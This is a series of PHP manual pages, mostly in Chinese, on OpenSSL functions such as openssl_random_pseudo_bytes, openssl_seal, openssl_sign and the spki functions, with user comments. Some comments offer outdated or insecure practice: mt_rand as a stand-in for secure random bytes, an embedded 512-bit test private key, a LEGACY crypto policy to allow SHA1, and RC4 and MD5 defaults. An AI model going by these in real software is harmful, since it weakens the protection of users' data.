$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


生成一个伪随机字节串

  • ? openssl_public_encrypt
  • openssl_seal ?
  • PHP Manual
  • OpenSSL 函数
  • 生成一个伪随机字节串

openssl_random_pseudo_bytes

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_random_pseudo_bytes — 生成一个伪随机字节串

说明

openssl_random_pseudo_bytes(int $length, bool &$strong_result = null): string

生成一个伪随机字节串 string ，字节数由 length 参数指定。

通过 strong_result 参数可以表示在生成随机字节的过程中是否使用了强加密算法。返回值为 false 的情况很少见，但已损坏或老化的有些系统上会出现。

参数

length

所需字节串的长度，必须为正整数且小于等于 2147483647。PHP 会试着将该参数转换为非空整数来使用它。

strong_result

如果传递到该函数中，将会保存为一个 bool 值来表明是否使用了"强加密"，如果被用于GPG和密码之类的将返回 true，否则返回 false

返回值

返回生成的字节 string。

错误／异常

openssl_random_pseudo_bytes() 失败时抛出 Exception。

更新日志

版本 | 说明
8.0.0 | strong_result 现在可为 null。
7.4.0 | 此函数失败时不再返回 false，而是会抛出 Exception。

示例

Example #1 openssl_random_pseudo_bytes() 示例

<?php
for ($i = 1; $i <= 4; $i++) {
$bytes = openssl_random_pseudo_bytes($i, $cstrong);
$hex = bin2hex($bytes);

echo "Lengths: Bytes: $i and Hex: " . strlen($hex) . PHP_EOL;
var_dump($hex);
var_dump($cstrong);
echo PHP_EOL;
}
?>

以上示例的输出类似于：

Lengths: Bytes: 1 and Hex: 2
string(2) "42"
bool(true)

Lengths: Bytes: 2 and Hex: 4
string(4) "dc6e"
bool(true)

Lengths: Bytes: 3 and Hex: 6
string(6) "288591"
bool(true)

Lengths: Bytes: 4 and Hex: 8
string(8) "ab86d144"
bool(true)

参见

  • random_bytes() - Get cryptographically secure random bytes
  • bin2hex() - 将二进制数据转换为十六进制表示
  • crypt() - 单向字符串散列
  • random_int() - 获取生成加密安全、均匀分布的整数

User Contributed Notes

mailjeffclayton [at] gmail 07-Oct-2019 05:55
Getting an integer value from a given range with an even distribution:

This function I created to solve the problem of modulo results causing overlap of ranged results (which gave an uneven distribution).

What I mean for those not as familiar with the problem:

Using bytes for base 256 (base 16) and attempting to find a value in a range of values that may be for example 10-20 (a spread of 11) will not divide evenly, so values (using mod) will overlap and give more priority to some numbers than others.

Instead of calculating based on byte values, I used the byte values as keys to sort. This is very fast, and does not require large multiplications of data space that easily go over the value of Max Int.

Additionally: To make the user-supplied arguments not care about order I am using a handy swap function I found in the wild in conjunction with my function below.

// swap function

function swap(&$a,&$b) { list($a,$b)=array($b,$a); } // swap 2 variables-- no temp variable needed!

// function to get a random value within a given range of integers

function get_secure_random_ranged_value($max=99, $min=0) // handles 1 or 2 arguments, order does not matter
{
    $sortarray = array();
    $lo = (int)$min;
    $hi = (int)$max;
    if ($lo > $hi) swap($lo,$hi);
    $data_range = abs($hi - $lo) + 1; // +1 includes both the lowest 'zero' value and highest value of range
    $bytes_per_key = 4; // Max: ffff hex = 4,294,967,296 dec (over 4 billion) -- large span of random values covers massive datasets
    $num_bytes = $data_range * $bytes_per_key;
    $byte_string = (bin2hex(openssl_random_pseudo_bytes($num_bytes))); // only one call needed to get string of bytes
    $byte_blocksize = $bytes_per_key << 1; // shift multiply by 2 since a byte is 2 characters wide

    while ($key = substr($byte_string,0,$byte_blocksize)) { // get next byte block from string
        $byte_string = substr($byte_string,$byte_blocksize); // remove selected byte block from string
        $sortarray[]=$key; // populate the array with keys temporarily as array values
    }

    $sortarray = array_flip($sortarray); // swap to use the byte values as keys
    ksort($sortarray); // randomize by keys
    return array_shift($sortarray) + $lo; // grab top value from array and add it to the lowest value in the range
}

//
// example getting values from 0 to 21:
//

for ($i=1;$i<=10;$i++) { $rnd = get_secure_random_ranged_value(21); echo "-> result: ".($rnd)." <br />\n";  }

//
// example getting values from 14 to 21:
//

for ($i=1;$i<=10;$i++) { $rnd = get_secure_random_ranged_value(14,21); echo "-> result: ".($rnd)." <br />\n";  }

//
// sample results from 14-21
//

-> result: 14
-> result: 18
-> result: 20
-> result: 15
-> result: 20
-> result: 16
-> result: 21
-> result: 15
-> result: 16
-> result: 17
atesin () gmail ! com 24-Feb-2018 04:08
if unavailable use this with core functions... maybe not as secure and optimized (any help?), but practical

<?php

$bytes = '';
while (strlen($bytes) < $lenght)
  $bytes .= chr(mt_rand(0, 255));

?>
umairkhi at hotmail dot com 05-Dec-2017 07:07
After the fix of insecure number generation here:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8867

This function as well as the text here needs an update. I believe this function is safe to use in FIPS compliant apps as well as it now used RAND_bytes instead of  the insecure RAND_pseudo_bytes().
Karsey 31-Oct-2017 05:18
Why does bin2hex return twice as many characters as bytes?
powtac at gmx dot de 15-Jan-2016 02:55
[Editor's note: the bug has been fixed as of PHP 5.4.44, 5.5.28 and PHP 5.6.12]

Until PHP 5.6 openssl_random_pseudo_bytes() did NOT use a "cryptographically strong algorithm"!
See bug report https://bugs.php.net/bug.php?id=70014 and the corresponding source code at https://github.com/php/php-src/blob/php-5.6.10/ext/openssl/openssl.c#L5408
nahun@telemako 13-Sep-2013 07:25
Here's an example to show the distribution of random numbers as an image. Credit to Hayley Watson at the mt_rand page for the original comparison between rand and mt_rand.

rand is red, mt_rand is green and openssl_random_pseudo_bytes is blue.

NOTE: This is only a basic representation of the distribution of the data. Has nothing to do with the strength of the algorithms or their reliability.

<?php
header("Content-type: image/png");
$sizex=800;
$sizey=800;

$img = imagecreatetruecolor(3 * $sizex,$sizey);
$r = imagecolorallocate($img,255, 0, 0);
$g = imagecolorallocate($img,0, 255, 0);
$b = imagecolorallocate($img,0, 0, 255);
imagefilledrectangle($img, 0, 0, 3 * $sizex, $sizey, imagecolorallocate($img, 255, 255, 255));

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = rand(0,$sizex);
    imagesetpixel($img, $p, $np, $r);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = mt_rand(0,$sizex);
    imagesetpixel($img, $p + $sizex, $np, $g);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = floor($sizex*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    imagesetpixel($img, $p + (2*$sizex), $np, $b);
    $p = $np;
}

imagepng($img);
imagedestroy($img);
?>
Anonymous 06-May-2012 12:17
Another way to get random 32bit ints:
function myRand($max){
    do{
        $result = floor($max*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    }while($result == $max);
    return $result;
}
christophe dot weis at statec dot etat dot lu 09-Jun-2011 12:09
Another replacement for rand() using OpenSSL.

Note that a solution where the result is truncated using the modulo operator ( % ) is not cryptographically secure, as the generated numbers are not equally distributed, i.e. some numbers may occur more often than others.

A better solution than using the modulo operator is to drop the result if it is too large and generate a new one.

<?php
function crypto_rand_secure($min, $max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $log = log($range, 2);
        $bytes = (int) ($log / 8) + 1; // length in bytes
        $bits = (int) $log + 1; // length in bits
        $filter = (int) (1 << $bits) - 1; // set all lower bits to 1
        do {
            $rnd = hexdec(bin2hex(openssl_random_pseudo_bytes($bytes, $s)));
            $rnd = $rnd & $filter; // discard irrelevant bits
        } while ($rnd >= $range);
        return $min + $rnd;
}
?>
crrodriguez at opensuse dot org 19-Jan-2011 09:32
Remember to request at very least 8 bytes of entropy, ideally 32 or 64, to avoid possible theorical bruteforce attacks.
acatalept at gmail 11-Jan-2011 11:24
FYI, openssl_random_pseudo_bytes() can be incredibly slow under Windows, to the point of being unusable.  It frequently times out (>30 seconds execution time) on several Windows machines of mine.

Apparently, it's a known problem with OpenSSL (not PHP specifically).

See: http://www.google.com/search?q=openssl_random_pseudo_bytes+slow
Tyler Larson 21-Aug-2009 02:29
If you don't have this function but you do have OpenSSL installed, you can always fake it:

<?php
    function openssl_random_pseudo_bytes($length) {
        $length_n = (int) $length; // shell injection is no fun
        $handle = popen("/usr/bin/openssl rand $length_n", "r");
        $data = stream_get_contents($handle);
        pclose($handle);
        return $data;
    }
?>


密封 (加密) 数据

  • ? openssl_random_pseudo_bytes
  • openssl_sign ?
  • PHP Manual
  • OpenSSL 函数
  • 密封 (加密) 数据

openssl_seal

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_seal — 密封 (加密) 数据

说明

openssl_seal(
string $data,
string &$sealed_data,
array &$encrypted_keys,
array $public_key,
string $cipher_algo,
string &$iv = null
): int|false

openssl_seal() 使用随机生成的密钥和给定的 cipher_algo 方法密封（加密）data 数据。密钥用与 public_key 中的标识符相关联的每个公共密钥加密，并且每个加密密钥在 encrypted_keys 中返回。这意味着一个人可以将密封的数据发送给多个接收者（如果一个人已经获得了他们的公钥）。每个接收方都必须同时接收加密的数据和用接收方的公钥加密的信封密钥。

参数

data

要密封的数据。

sealed_data

被密封后的数据。

encrypted_keys

已被加密的密钥数组。

public_key

包含公钥的 OpenSSLAsymmetricKey 实例数组。

cipher_algo

加密算法。

Caution

默认值（'RC4'）认为不安全。强烈建议明确指定安全密码方法。

iv

初始化向量。

返回值

成功时返回密封后数据的长度，错误为 false。 如果密封后的数据成功地通过 sealed_data 变量返回，那么信封密钥也将会通过 encrypted_keys 变量返回。

更新日志

版本 | 说明
8.0.0 | public_key 现在接受 OpenSSLAsymmetricKey 实例 array；之前接受类型 OpenSSL key 的 resource 数组。
8.0.0 | cipher_algo 不再是可选参数。
8.0.0 | iv 现在可为 null。

示例

Example #1 openssl_seal() 示例

<?php
// $data is assumed to contain the data to be sealed

// fetch public keys for our recipients, and ready them
$fp = fopen("/src/openssl-0.9.6/demos/maurice/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk1 = openssl_get_publickey($cert);
// Repeat for second recipient
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk2 = openssl_get_publickey($cert);

// seal message, only owners of $pk1 and $pk2 can decrypt $sealed with keys
// $ekeys[0] and $ekeys[1] respectively.
openssl_seal($data, $sealed, $ekeys, array($pk1, $pk2));

// free the keys from memory
openssl_free_key($pk1);
openssl_free_key($pk2);
?>

参见

  • openssl_open() - 打开密封的数据

User Contributed Notes

aaron dot lawrence at umajin dot com 23-Aug-2021 01:49
Some critical details that are not in the docs, nor widely written about elsewhere.

- The envelope key is a 128-bit RSA key, randomly generated.
- The data is encrypted with (A)RC4 using the envelope key.
- The envelope key is encrypted for transmission with PKCS1 v1.5. It is NOT the OAEP padding variant.  PKCS1 v1.5 is even older, and not widely supported anymore.

At least this was true for openssl_seal in PHP 7.2 that we are using.

(Note: In Python you can decrypt this envelope key with the Cryptography package, using padding.PKCS1v15())

The combination of RC4 and PKCS1 v1.5 make this function actually semi-obsolete for security use in my opinion.
Dominik M. 01-Oct-2020 12:58
Please note that openssl_seal() cannot be used for EC encryption.
Took me literally two hours to find out because the OpenSSL documentation is so bad.
amer.alhabsi AT gmail DOT com 28-May-2016 07:58
while the default is using RC4, it is possible to use other more secure algorithms. These are specified as the fifth parameter. Also, one needs to add an initialization vector (random bytes). Eg.

<?php
    $data = "This is top secret.";
    // fetch public keys for our recipients, and ready them
    $cert = file_get_contents('./cert.pem');

    $pk1 = openssl_get_publickey($cert);
    $iv = openssl_random_pseudo_bytes(32);
    openssl_seal($data, $sealed, $ekeys, array($pk1), "AES256", $iv);

    // free the keys from memory
    openssl_free_key($pk1);
    echo base64_encode($sealed);
?>
bowfingermail at gmx dot net 24-Oct-2015 02:52
According to several sources (e.g. crypto101.io or Wikipedia) RC4 is not safe and not supposed to be used anymore.
So, shouldn't openssl_seal use another stream cipher in place of RC4?
hfuecks at nospam dot org 29-Oct-2007 07:44
openssl_seal() can work well when you need to pass data securely to other platforms / languages. What openssl_seal() does is;

1. Generate a random key
2. Encrypt the data symmetrically with RC4 using the random key
3. Encrypt the random key itself with RSA using the public key / certificate
4. Returns the encrypted data and the encrypted key

So to decrypt the steps are simply;

1. Decrypt the key using RSA and your private key
2. Decrypt the data using RC4 and the decrypted key

The trickiest part may be figuring out how handle the private key - BouncyCastle ( http://www.bouncycastle.org/ ) provides a PEMReader for Java and C# while Not Yet commons-ssl ( http://juliusdavies.ca/commons-ssl/ ) has a KeyStoreBuilder to build Java keystores out of a PEM certificate.

A complete example in Java is described at http://blog.local.ch/archive/2007/10/29/openssl-php-to-java.html
devel@no-spam 15-Jun-2005 06:20
"seals (encrypts) data by using RC4 with a randomly generated secret key"
It should be noted that the randomly generated secret key is 128 bits long (openssl: EVP_rc4(void):  RC4 stream cipher. This is a variable key length cipher with default key length 128 bits.)


Generate signature

  • ? openssl_seal
  • openssl_spki_export_challenge ?
  • PHP Manual
  • OpenSSL 函数
  • Generate signature

openssl_sign

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_sign — Generate signature

说明

openssl_sign(
string $data,
string &$signature,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string|int $algorithm = OPENSSL_ALGO_SHA1
): bool

openssl_sign() computes a signature for the specified data by generating a cryptographic digital signature using the private key associated with private_key. Note that the data itself is not encrypted.

参数

data

The string of data you wish to sign

signature

If the call was successful the signature is returned in signature.

private_key

OpenSSLAsymmetricKey - a key, returned by openssl_get_privatekey()

string - a PEM formatted key

algorithm

int - one of these Signature Algorithms.

string - a valid string returned by openssl_get_md_methods() example, "sha256WithRSAEncryption" or "sha384".

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | private_key accepts an OpenSSLAsymmetricKey or OpenSSLCertificate instance now; previously, a resource of type OpenSSL key or OpenSSL X.509 was accepted.

示例

Example #1 openssl_sign() example

<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$pkeyid = openssl_pkey_get_private("file://src/openssl-0.9.6/demos/sign/key.pem");

// compute signature
openssl_sign($data, $signature, $pkeyid);

// free the key from memory
openssl_free_key($pkeyid);
?>

Example #2 openssl_sign() example

<?php
//data you want to sign
$data = 'my data';

//create new private and public key
$new_key_pair = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
openssl_pkey_export($new_key_pair, $private_key_pem);

$details = openssl_pkey_get_details($new_key_pair);
$public_key_pem = $details['key'];

//create signature
openssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA256);

//save for later
file_put_contents('private_key.pem', $private_key_pem);
file_put_contents('public_key.pem', $public_key_pem);
file_put_contents('signature.dat', $signature);

//verify signature
$r = openssl_verify($data, $signature, $public_key_pem, "sha256WithRSAEncryption");
var_dump($r);
?>

参见

  • openssl_verify() - 验证签名

User Contributed Notes

tim at remitone dot com 11-Jul-2023 01:44
It should be noted that the default signature algorithm used by openssl_sign() and openssl_verify (OPENSSL_ALGO_SHA1) is no longer supported by default in OpenSSL Version 3 series.

With an up to date OpenSSL library, one has to run
"update-crypto-policies --set LEGACY"
on the server where the library resides in order to allow these functions to work without the optional alternative algorithm argument.
Chris Kistner 20-Jul-2010 05:53
The list of Signature Algorithms (constants) is very limited! Fortunately the newer versions of php/openssl allow you to specify the signature algorithm as a string.

You can use the 'openssl_get_md_methods' method to get a list of digest methods. Only some of them may be used to sign with RSA private keys.

Those that can be used to sign with RSA private keys are: md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha512

Here's the modified Example #1 with SHA-512 hash:
<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature with SHA-512
openssl_sign($data, $signature, $pkeyid, "sha512");

// free the key from memory
openssl_free_key($pkeyid);
?>
edmarw at yahoo dot com 04-Sep-2007 09:22
This may help if you just want a real-simple private/public key pair:

<?php

$data = "Beeeeer is really good.. hic...";

// You can get a simple private/public key pair using:
// openssl genrsa 512 >private_key.txt
// openssl rsa -pubout <private_key.txt >public_key.txt

// IMPORTANT: The key pair below is provided for testing only.
// For security reasons you must get a new key pair
// for production use, obviously.

$private_key = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6zxqlVzz0wy2j4kQVUC4Z
RZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQJAL151ZeMKHEU2c1qdRKS9
sTxCcc2pVwoAGVzRccNX16tfmCf8FjxuM3WmLdsPxYoHrwb1LFNxiNk1MXrxjH3R
6QIhAPB7edmcjH4bhMaJBztcbNE1VRCEi/bisAwiPPMq9/2nAiEA3lyc5+f6DEIJ
h1y6BWkdVULDSM+jpi1XiV/DevxuijMCIQCAEPGqHsF+4v7Jj+3HAgh9PU6otj2n
Y79nJtCYmvhoHwIgNDePaS4inApN7omp7WdXyhPZhBmulnGDYvEoGJN66d0CIHra
I2SvDkQ5CmrzkW5qPaE2oO7BSqAhRZxiYpZFb5CI
-----END RSA PRIVATE KEY-----
EOD;
$public_key = <<<EOD
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6
zxqlVzz0wy2j4kQVUC4ZRZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQ==
-----END PUBLIC KEY-----
EOD;

$binary_signature = "";

// At least with PHP 5.2.2 / OpenSSL 0.9.8b (Fedora 7)
// there seems to be no need to call openssl_get_privatekey or similar.
// Just pass the key as defined above
openssl_sign($data, $binary_signature, $private_key, OPENSSL_ALGO_SHA1);

// Check signature
$ok = openssl_verify($data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #1: ";
if ($ok == 1) {
    echo "signature ok (as it should be)\n";
} elseif ($ok == 0) {
    echo "bad (there's something wrong)\n";
} else {
    echo "ugly, error checking signature\n";
}

$ok = openssl_verify('tampered'.$data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #2: ";
if ($ok == 1) {
    echo "ERROR: Data has been tampered, but signature is still valid! Argh!\n";
} elseif ($ok == 0) {
    echo "bad signature (as it should be, since data has beent tampered)\n";
} else {
    echo "ugly, error checking signature\n";
}

?>
adam dot mansfeld at gmail dot com 19-Oct-2005 12:50
Hello,

the fourth parameter 'signature_alg' to choose the signature algorithm can be one of:

OPENSSL_ALGO_SHA1
OPENSSL_ALGO_MD5
OPENSSL_ALGO_MD4
OPENSSL_ALGO_MD2

Just for the case that somebody needs this.

Regards


导出与签名公钥和 challenge 相关的 challenge

  • ? openssl_sign
  • openssl_spki_export ?
  • PHP Manual
  • OpenSSL 函数
  • 导出与签名公钥和 challenge 相关的 challenge

openssl_spki_export_challenge

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_export_challenge — 导出与签名公钥和 challenge 相关的 challenge

说明

openssl_spki_export_challenge(string $spki): string|false

从编码的签名公钥和 challenge 中导出 challenge

参数

spki

需要有效的签名公钥和 challenge

返回值

返回相关 challenge 字符串，失败返回 false。

错误／异常

如果 spki 参数传递的是不可用的参数，则抛出 E_WARNING 级别的错误。

示例

Example #1 openssl_spki_export_challenge() 示例

成功，提取相关联的 challenge 字符串，失败则返回 NULL。

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $spkac));
?>

Example #2 openssl_spki_export_challenge() 来自 <keygen> 的示例

从 <keygen> 元素中解压相关联的 challenge 字符串。

<?php
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $_POST['spkac']));
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

参见

  • openssl_spki_new() - 生成新的签名公钥和 challenge
  • openssl_spki_verify() - 验证签名公钥和 challenge
  • openssl_spki_export() - 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥
  • openssl_get_md_methods() - 获取可用的摘要算法
  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

There are no user contributed notes for this page.


通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥

  • ? openssl_spki_export_challenge
  • openssl_spki_new ?
  • PHP Manual
  • OpenSSL 函数
  • 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥

openssl_spki_export

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_export — 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥

说明

openssl_spki_export(string $spki): string|false

从编码的签名公钥和 challenge 导出 PEM 格式的公钥。

参数

spki

期望一个有效的签名公钥和 challenge 字符串。

返回值

返回关联的 PEM 格式的公钥，失败则返回 false。

错误／异常

如果传递给 spki 参数是不可用的参数，则会抛出 E_WARNING 级别的警告。

示例

Example #1 openssl_spki_export() 示例

成功，返回关联的 PEM 格式的公钥，失败则返回 NULL.

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$pubKey = openssl_spki_export(preg_replace('/SPKAC=/', '', $spkac));

if ($pubKey) {
echo $pubKey;
}
?>

Example #2 openssl_spki_export() 来自 <keygen> 的示例

通过 <keygen> 元素导出关联的 PEM 格式的公钥：

<?php
$spkac = openssl_spki_export(preg_replace('/SPKAC=/', '', $_POST['spkac']));
if ($spkac != NULL) {
echo $spkac;
} else {
echo "Extraction of pub key failed";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

参见

  • openssl_spki_new() - 生成新的签名公钥和 challenge
  • openssl_spki_verify() - 验证签名公钥和 challenge
  • openssl_spki_export_challenge() - 导出与签名公钥和 challenge 相关的 challenge
  • openssl_get_md_methods() - 获取可用的摘要算法
  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

There are no user contributed notes for this page.


生成新的签名公钥和 challenge

  • ? openssl_spki_export
  • openssl_spki_verify ?
  • PHP Manual
  • OpenSSL 函数
  • 生成新的签名公钥和 challenge

openssl_spki_new

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_new — 生成新的签名公钥和 challenge

说明

openssl_spki_new(OpenSSLAsymmetricKey $private_key, string $challenge, int $digest_algo = OPENSSL_ALGO_MD5): string|false

使用指定散列算法生成新的签名公钥和 challenge。

参数

private_key

private_key 应该被设置为由 openssl_pkey_new() 函数预先生成（或者以其他方式从 openssl_pkey 函数家族集中获得）的私钥。该密钥的相应公共部分将用于签署 CSR。

challenge

与 SPKAC 有关的 challenge。

digest_algo

摘要算法。参见 openssl_get_md_method()。

返回值

返回签名的公钥和 challenge，失败返回 false。

错误／异常

如果传递给 digest_algo 的参数是未知的签名算法，将会抛出 E_WARNING 级别的错误。

更新日志

版本 | 说明
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 实例；之前接受类型 OpenSSL key 的 resource。

示例

Example #1 openssl_spki_new() 示例

使用默认的摘要算法（MD5）生成新的 SPKAC

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'testing');

if ($spkac !== NULL) {
echo $spkac;
} else {
echo "SPKAC generation failed";
}
?>

以上示例的输出类似于：

MIICRzCCAS8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDM3V3sS4o4
mB9dczziRnjGAmSp+JwPrHoYMAFGvDNmZGyiWfU586X4BKs++BAj7e/FsAfno0Hd
hN9FwpCNFSox30L03nQvLYJE7f/WqigwBeMRT7Op/xvFks4sT70xP2HRYv4KqP9a
WRcKU6cFH8VxhFhqM2txEIxZKdFLaL28yT7bEDmcglf4JLDdgNMb9rET1dkgtKE6
dOaJHPGjf1uvnOH4YwkQr7n4sLUR3Kdbh0ZJAFuQVDZulo+LLzxBBkqJJcB6FhF+
oXCdHTKZnqAhpWDz+NXYytAmevab6IYm5TWPWsJUv1YKJA5lg2mXbbloIZlN9Mgc
i9fi03bdw+crAgMBAAEWB3Rlc3RpbmcwDQYJKoZIhvcNAQEEBQADggEBALyUvP/o
pPSoWBlorFyZ2RnGwKf9qMpE0q2IJP7G3oDR4LyK/m933DUiZ+YnqThrH/CWb4Ek
y5I3OCyl3S4wCuU1ibZZwDVwYShr5ELp0J9PEf7qMQZOhNsizoC7k+Czb2xB6hYW
sKfsfTKm3cXBtH3fdgc/Z1Z7VSWnAzYo38snqm72NTf5yFRnrQdphNNXi+kn1zHA
lxXRyFDXHOcYsOnwAWfyXFA4QDHQ0ezz0UoCY8gJXovcZb4GRYqOLUAsF2HcNboy
29WN8VqE29sL9QxVZFlwMcqyoLcNnyw38GvNvAGqSvzzbnEFP2MAQXJVe0H0hdp/
MML5G2iNVgNozAo=

参见

  • openssl_spki_verify() - 验证签名公钥和 challenge
  • openssl_spki_export_challenge() - 导出与签名公钥和 challenge 相关的 challenge
  • openssl_spki_export() - 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥
  • openssl_get_md_methods() - 获取可用的摘要算法
  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

julian at NOSPAM dot developer-heaven dot de 18-Jun-2016 05:50
The usage of openssl_pkey_new() in the example above is wrong.
openssl_pkey_new() requires an array as first parameter

Working example for openssl_pkey_new():
http://php.net/manual/de/function.openssl-pkey-new.php#111769


验证签名公钥和 challenge

  • ? openssl_spki_new
  • openssl_verify ?
  • PHP Manual
  • OpenSSL 函数
  • 验证签名公钥和 challenge

openssl_spki_verify

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_verify — 验证签名公钥和 challenge

说明

openssl_spki_verify(string $spki): bool

验证提供的签名公钥和 challenge。

参数

spki

期望有效的签名公钥和 challenge。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果传递给 digest_algo 的参数不是可用的参数，将会抛出 E_WARNING 级别的错误。

示例

Example #1 openssl_spki_verify() 示例

验证现有签名公钥和 challenge

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');

if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $spkac))) {
echo $spkac;
} else {
echo "SPKAC validation failed";
}
?>

Example #2 openssl_spki_verify() 来自 <keygen> 的示例

通过 <keygen> 元素验证现有签名公钥和 challenge

<?php
if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $_POST['spkac']))) {
echo $spkac;
} else {
echo "SPKAC validation failed";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

参见

  • openssl_spki_new() - 生成新的签名公钥和 challenge
  • openssl_spki_export_challenge() - 导出与签名公钥和 challenge 相关的 challenge
  • openssl_spki_export() - 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥
  • openssl_get_md_methods() - 获取可用的摘要算法
  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

neat at neato dot com 25-Jun-2020 10:40
The challenge is not how to very a "trick". It is used as a partial non-repudiation method.

The idea was the challenge could be extracted from the base64 encoded ASN.1 PKCS#1 bits provided from the 'keygen' element.

The SPKAC is a form of CSR which if the right about of information such as the commonName, emailAddress, countryName, stateOrProvinceName, localityName et al., a signed x509 could generated and provided to the requestor.

This would then be installed in the browser and if the webserver was configured to accept client x509 certificates, it would be used in lieu of a password for authentication.

A recommendation was to use the 'challenge' as a form of non-repudiation in the event someone else was on your keyboard. If the application required it could prompt you for the challenge and compare it to a hashed version it stored upon the initial SPKAC process.

Hope that helps clear it up.
carloshlfzanon at gmail dot com 26-Apr-2017 08:54
This openssl_spki_* funcs are very usefull to use with <keygen/> tag in html5.

Example:

<?php
session_start();

// form submitted... (?)
if(isset($_POST['security']))
{
    // If true, the send from <keygen/> is valid and you can
    // test the challenge too
    if(openssl_spki_verify($_POST['security']))
    {
        // Gets challenge string
        $challenge = openssl_spki_export_challenge($_POST['security']);

        // If true... you are not trying to trick it.
        // If user open 2 windows to prevent data lost from a "mistake" or him just press "back" button
        //  and re-send last data... you can handle it using something like it.
        if($challenge == $_SESSION['lastForm'])
        {
            echo 'Ok, this one is valid.', '<br><br>';
        }
        else
        {
            echo 'Nice try... nice try...', '<br><br>';
        }
    }

}

// If you open two window, the challenge won't match!
$_SESSION['lastForm'] = hash('md5', microtime(true));

?>

<!DOCTYPE html>
<html>
<body>

<form action="/index.php" method="post">
  Encryption: <keygen name="security" keytype="rsa" challenge="<?php echo $_SESSION['lastForm']; ?>"/>
  <input type="submit">
</form>

</body>
</html>


验证签名

  • ? openssl_spki_verify
  • openssl_x509_check_private_key ?
  • PHP Manual
  • OpenSSL 函数
  • 验证签名

openssl_verify

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_verify — 验证签名

说明

openssl_verify(
string $data,
string $signature,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key,
string|int $algorithm = OPENSSL_ALGO_SHA1
): int|false

